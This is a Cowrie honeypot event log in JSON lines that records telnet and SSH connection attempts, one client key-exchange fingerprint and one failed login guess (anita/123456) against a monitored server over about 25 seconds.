{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:11.303624Z","src_ip":"159.203.92.129","session":"cfab07dca509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anita","password":"123456","message":"login attempt [anita/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:11.313271Z","src_ip":"159.203.92.129","session":"cfab07dca509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36478,"dst_ip":"159.203.135.109","dst_port":23,"session":"368ee18cd6a2","protocol":"telnet","message":"New connection: 209.159.146.115:36478 (159.203.135.109:23) [session: 368ee18cd6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:11.582401Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45232,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b1de4b8546a","protocol":"telnet","message":"New connection: 23.254.167.244:45232 (159.203.135.109:23) [session: 6b1de4b8546a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:11.894634Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:12.319993Z","src_ip":"159.203.92.129","session":"cfab07dca509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.74813938140869,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:12.329980Z","src_ip":"23.254.167.244","session":"72f05baf3212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":46394,"dst_ip":"159.203.135.109","dst_port":23,"session":"00b36f045f00","protocol":"telnet","message":"New connection: 117.53.44.204:46394 (159.203.135.109:23) [session: 00b36f045f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:12.607169Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":46402,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbd7dd40e434","protocol":"telnet","message":"New connection: 117.53.44.204:46402 (159.203.135.109:23) [session: fbd7dd40e434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:13.246234Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47130,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1bd3557854b","protocol":"telnet","message":"New connection: 209.159.146.115:47130 (159.203.135.109:23) [session: e1bd3557854b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:13.636140Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47898,"dst_ip":"159.203.135.109","dst_port":23,"session":"512c22ac5abc","protocol":"telnet","message":"New connection: 209.159.146.115:47898 (159.203.135.109:23) [session: 512c22ac5abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:13.849275Z"}
{"eventid":"cowrie.session.closed","duration":35.22193622589111,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:14.579061Z","src_ip":"209.159.146.115","session":"8e0bb8960b65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48490,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd2c13c39e76","protocol":"telnet","message":"New connection: 23.254.167.244:48490 (159.203.135.109:23) [session: bd2c13c39e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:14.871923Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56390,"dst_ip":"159.203.135.109","dst_port":23,"session":"adf58bcf56f8","protocol":"telnet","message":"New connection: 209.159.146.115:56390 (159.203.135.109:23) [session: adf58bcf56f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:16.103089Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":46414,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fce22029f69","protocol":"telnet","message":"New connection: 117.53.44.204:46414 (159.203.135.109:23) [session: 9fce22029f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:16.193654Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":46418,"dst_ip":"159.203.135.109","dst_port":23,"session":"a835d8447b10","protocol":"telnet","message":"New connection: 117.53.44.204:46418 (159.203.135.109:23) [session: a835d8447b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:16.570650Z"}
{"eventid":"cowrie.session.closed","duration":38.06993222236633,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:16.959504Z","src_ip":"23.254.167.244","session":"6aeb647d7119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.486790657043457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:17.112109Z","src_ip":"117.53.44.204","session":"c3cce65551ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":46428,"dst_ip":"159.203.135.109","dst_port":23,"session":"586b21b1778d","protocol":"telnet","message":"New connection: 117.53.44.204:46428 (159.203.135.109:23) [session: 586b21b1778d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:17.509818Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34138,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7c86743d115","protocol":"telnet","message":"New connection: 209.159.146.115:34138 (159.203.135.109:23) [session: b7c86743d115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:18.422790Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":46442,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e9e1daea98","protocol":"telnet","message":"New connection: 117.53.44.204:46442 (159.203.135.109:23) [session: 94e9e1daea98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:18.456324Z"}
{"eventid":"cowrie.session.closed","duration":32.7612566947937,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:19.559847Z","src_ip":"209.159.146.115","session":"823495d3e58a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":46450,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb96971728b9","protocol":"telnet","message":"New connection: 117.53.44.204:46450 (159.203.135.109:23) [session: fb96971728b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:19.844221Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48150,"dst_ip":"159.203.135.109","dst_port":23,"session":"973a4fb67d0a","protocol":"telnet","message":"New connection: 209.159.146.115:48150 (159.203.135.109:23) [session: 973a4fb67d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:20.445315Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":46456,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ca29c2686d2","protocol":"telnet","message":"New connection: 117.53.44.204:46456 (159.203.135.109:23) [session: 5ca29c2686d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:20.786442Z"}
{"eventid":"cowrie.session.closed","duration":32.238877296447754,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:21.393171Z","src_ip":"209.159.146.115","session":"292b63d5154e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.45547366142273,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:22.023021Z","src_ip":"209.159.146.115","session":"3408f2fac988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.68687629699707,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:22.131600Z","src_ip":"23.254.167.244","session":"66b436db7b55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51457953453064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:22.189615Z","src_ip":"117.53.44.204","session":"d5ffd7252b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":35954,"dst_ip":"159.203.135.109","dst_port":23,"session":"049b5787e9b9","protocol":"telnet","message":"New connection: 117.53.44.204:35954 (159.203.135.109:23) [session: 049b5787e9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:22.694598Z"}
{"eventid":"cowrie.session.closed","duration":34.64159631729126,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:23.080889Z","src_ip":"23.254.167.244","session":"e907e92214ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":35958,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb77ad889ebf","protocol":"telnet","message":"New connection: 117.53.44.204:35958 (159.203.135.109:23) [session: fb77ad889ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:23.413032Z"}
{"eventid":"cowrie.session.closed","duration":34.43981981277466,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:23.468641Z","src_ip":"23.254.167.244","session":"7e736a1fde17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.54201936721802,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:23.655168Z","src_ip":"209.159.146.115","session":"3f36a8697565","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113243103027344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:24.208610Z","src_ip":"117.53.44.204","session":"81cf81c5637a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36204,"dst_ip":"159.203.135.109","dst_port":23,"session":"957823d2f964","protocol":"telnet","message":"New connection: 23.254.167.244:36204 (159.203.135.109:23) [session: 957823d2f964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:24.996679Z"}
{"eventid":"cowrie.session.closed","duration":30.469202041625977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:25.120766Z","src_ip":"117.53.44.204","session":"6adf20e6a738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.14873290061951,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:25.833563Z","src_ip":"209.159.146.115","session":"e2526e2fb26d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54495859146118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:26.127414Z","src_ip":"117.53.44.204","session":"9ad6d31116e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38392,"dst_ip":"159.203.135.109","dst_port":23,"session":"78b1b88d4acb","protocol":"telnet","message":"New connection: 23.254.167.244:38392 (159.203.135.109:23) [session: 78b1b88d4acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:27.234633Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":35962,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa675ad6436f","protocol":"telnet","message":"New connection: 117.53.44.204:35962 (159.203.135.109:23) [session: aa675ad6436f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:27.360946Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":35970,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a23b36ce4d5","protocol":"telnet","message":"New connection: 117.53.44.204:35970 (159.203.135.109:23) [session: 7a23b36ce4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:27.865703Z"}
{"eventid":"cowrie.session.closed","duration":30.40555429458618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:28.145230Z","src_ip":"117.53.44.204","session":"195da175a722","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40134,"dst_ip":"159.203.135.109","dst_port":23,"session":"459c38638459","protocol":"telnet","message":"New connection: 23.254.167.244:40134 (159.203.135.109:23) [session: 459c38638459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:28.570480Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":35980,"dst_ip":"159.203.135.109","dst_port":23,"session":"318cfbee6ec3","protocol":"telnet","message":"New connection: 117.53.44.204:35980 (159.203.135.109:23) [session: 318cfbee6ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:28.640753Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":35994,"dst_ip":"159.203.135.109","dst_port":23,"session":"24ab5ef39dcf","protocol":"telnet","message":"New connection: 117.53.44.204:35994 (159.203.135.109:23) [session: 24ab5ef39dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:28.688794Z"}
{"eventid":"cowrie.session.closed","duration":31.914971590042114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:28.694161Z","src_ip":"23.254.167.244","session":"585f78fdd5e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57116,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab1f37461092","protocol":"telnet","message":"New connection: 209.159.146.115:57116 (159.203.135.109:23) [session: ab1f37461092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:28.790780Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":36000,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d9eb97bcbc7","protocol":"telnet","message":"New connection: 117.53.44.204:36000 (159.203.135.109:23) [session: 2d9eb97bcbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:29.059475Z"}
{"eventid":"cowrie.session.closed","duration":30.45594882965088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:29.119236Z","src_ip":"117.53.44.204","session":"66f12032ab4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":36010,"dst_ip":"159.203.135.109","dst_port":23,"session":"f12f4b468d0c","protocol":"telnet","message":"New connection: 117.53.44.204:36010 (159.203.135.109:23) [session: f12f4b468d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:29.542959Z"}
{"eventid":"cowrie.session.closed","duration":31.196939945220947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:30.136705Z","src_ip":"117.53.44.204","session":"e4684771ae64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634942293167114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:30.249846Z","src_ip":"117.53.44.204","session":"2380d7917cd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36216,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa9e0cdb04b2","protocol":"telnet","message":"New connection: 209.159.146.115:36216 (159.203.135.109:23) [session: aa9e0cdb04b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:30.406030Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":36024,"dst_ip":"159.203.135.109","dst_port":23,"session":"35fa444a4b74","protocol":"telnet","message":"New connection: 117.53.44.204:36024 (159.203.135.109:23) [session: 35fa444a4b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:30.476593Z"}
{"eventid":"cowrie.session.closed","duration":34.29401206970215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:30.545244Z","src_ip":"23.254.167.244","session":"54fe29ba495e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":36032,"dst_ip":"159.203.135.109","dst_port":23,"session":"95314ad9bea6","protocol":"telnet","message":"New connection: 117.53.44.204:36032 (159.203.135.109:23) [session: 95314ad9bea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:30.662154Z"}
{"eventid":"cowrie.session.closed","duration":30.782461881637573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:31.112025Z","src_ip":"117.53.44.204","session":"e5332c4c6661","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52601647377014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:32.116932Z","src_ip":"117.53.44.204","session":"71b8a43a2b2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27517342567444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:32.127907Z","src_ip":"117.53.44.204","session":"1621efa8272e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44230,"dst_ip":"159.203.135.109","dst_port":23,"session":"8164565b0c7b","protocol":"telnet","message":"New connection: 209.159.146.115:44230 (159.203.135.109:23) [session: 8164565b0c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:32.161766Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43226,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6fb6a95b80f","protocol":"telnet","message":"New connection: 23.254.167.244:43226 (159.203.135.109:23) [session: a6fb6a95b80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:32.218918Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44304,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c92d07451cc","protocol":"telnet","message":"New connection: 23.254.167.244:44304 (159.203.135.109:23) [session: 9c92d07451cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:32.937532Z"}
{"eventid":"cowrie.session.closed","duration":30.54233193397522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:33.153481Z","src_ip":"117.53.44.204","session":"a82aa7917229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.937220335006714,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:33.183088Z","src_ip":"209.159.146.115","session":"465ff3171989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58312,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c1279b17ae0","protocol":"telnet","message":"New connection: 117.53.44.204:58312 (159.203.135.109:23) [session: 9c1279b17ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:33.247399Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50688,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f709dad0bf7","protocol":"telnet","message":"New connection: 209.159.146.115:50688 (159.203.135.109:23) [session: 6f709dad0bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:33.377808Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58328,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1c71fa6a54b","protocol":"telnet","message":"New connection: 117.53.44.204:58328 (159.203.135.109:23) [session: b1c71fa6a54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:33.559045Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58334,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d915c121cc8","protocol":"telnet","message":"New connection: 117.53.44.204:58334 (159.203.135.109:23) [session: 2d915c121cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:33.818790Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45916,"dst_ip":"159.203.135.109","dst_port":23,"session":"50a3fb393508","protocol":"telnet","message":"New connection: 23.254.167.244:45916 (159.203.135.109:23) [session: 50a3fb393508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:34.609034Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58346,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced5fd6bd25b","protocol":"telnet","message":"New connection: 117.53.44.204:58346 (159.203.135.109:23) [session: ced5fd6bd25b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:34.621566Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58348,"dst_ip":"159.203.135.109","dst_port":23,"session":"2143a216ccb6","protocol":"telnet","message":"New connection: 117.53.44.204:58348 (159.203.135.109:23) [session: 2143a216ccb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:35.435535Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47804,"dst_ip":"159.203.135.109","dst_port":23,"session":"a51db5d53a39","protocol":"telnet","message":"New connection: 23.254.167.244:47804 (159.203.135.109:23) [session: a51db5d53a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:36.345557Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":51288,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5ad3c3301d5","protocol":"ssh","message":"New connection: 157.66.34.121:51288 (159.203.135.109:22) [session: d5ad3c3301d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:36.463315Z"}
